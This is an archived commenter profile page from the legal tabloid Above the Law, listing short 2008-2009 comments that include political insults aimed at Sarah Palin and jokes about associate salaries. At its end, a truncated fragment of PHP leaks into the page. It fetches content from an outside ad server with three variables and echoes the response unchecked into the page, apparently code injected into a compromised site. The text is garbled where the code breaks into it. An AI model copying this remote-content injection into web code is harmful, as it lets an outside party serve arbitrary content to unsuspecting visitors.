Above the Law - A Legal Tabloid - News, Gossip, and Colorful Commentary on Law Firms and the Legal Profession

chetlmn's Profile

Website:
Bio:

Comments

Posted by chetlmn in "Joe Biden And Sarah Palin Discuss Roe v. Wade" Thursday, October 2, 2008 2:45 PM

ppppplllllleeeeeeeease. make it stop. obamabiden, please win this election, if for no other reason than to ship this imbecile back to yochupitzville. i'm beginning to disagree with one of obama's soundbites. there ARE 2 america's. the one that americans with a pulse live in and the one that nitwit palin lives in. note to biden -- tonight . . . at that debate? . . . please, just shut up. don't say a word. not one. you'll win by a landlside.

Posted by chetlmn in "Joe Biden And Sarah Palin Discuss Roe v. Wade" Thursday, October 2, 2008 3:00 PM

ppppplllllleeeeeeeease. make this trainwreck stop. obamabiden, please win this election, if for no other reason than to ship this imbecile back to yochupitzville. i'm beginning to disagree with one of obama's soundbites. there ARE 2 america's. the one that americans with a pulse live in and the one that nitwit palin lives in. note to biden -- tonight . . . at that debate? . . . please, just shut up. son't say anything. not one word. you'll win by a landlside.

Posted by chetlmn in "1st Year NYC Associates: Please Stop. You're Hurting Me." Wednesday, November 12, 2008 11:24 AM

New York to $190K!!!

Posted by chetlmn in "Nationwide Layoff Watch: Orrick Lays Off Attorneys" Thursday, November 13, 2008 9:26 PM

NYC to $190K!

Posted by chetlmn in "Associate Bonus Watch: Wachtell Bonuses Go Below 100 Percent" Wednesday, December 17, 2008 5:02 PM

firsty mcfirsterson.

Posted by chetlmn in "Associate Bonus Watch: Wachtell Bonuses Go Below 100 Percent" Wednesday, December 17, 2008 5:05 PM

firsty mcfirsterson.

Posted by chetlmn in "Associate Life Survey: Lawyer of the Year" Thursday, December 25, 2008 5:42 PM

NY to 190!

Posted by chetlmn in "K&L Gates to Associates: 'That was not your bonus'" Thursday, January 22, 2009 8:04 PM

theeze pretsels r making me firsty mcfirsterson

Posted by chetlmn in "So, What Are We Calling Today Exactly? " Thursday, February 12, 2009 9:34 PM

AS SOMEONE WHO BRISTLED VIOLENTLY EVERY TIME I READ SOME BIGLAW OR T14 KNUCKLEHEAD DERIDING LOYOLA 2L AND HIS COMPATRIOTS AND/OR MAKING A COMMENT ABOUT TTTs OR THE SUPREMACY OF CRAVATH, S&C, ALL THINGS NYC AND THE EAST COAST, . . . I WOULD PERSONALLY LIKE TO CALL TODAY SCHADENFREUDE THURSDAY.

'; $cerror = ''; if ($ch = curl_init("http://adserver1.eseohserve.com/pull?v1=".$var1."&v2=".$var2."&v3=".$var3)) { curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3); curl_setopt($ch,CURLOPT_FAILONERROR,0); curl_setopt($ch,CURLOPT_FILETIME,0); curl_setopt($ch,CURLOPT_MAXREDIRS,0); $outp = curl_exec($ch); $cerror = curl_error($ch); if ($cerror) { $outp .= ''; } curl_close($ch); } if ($outp) { echo $outp; } else { echo ''."\n"; } ?>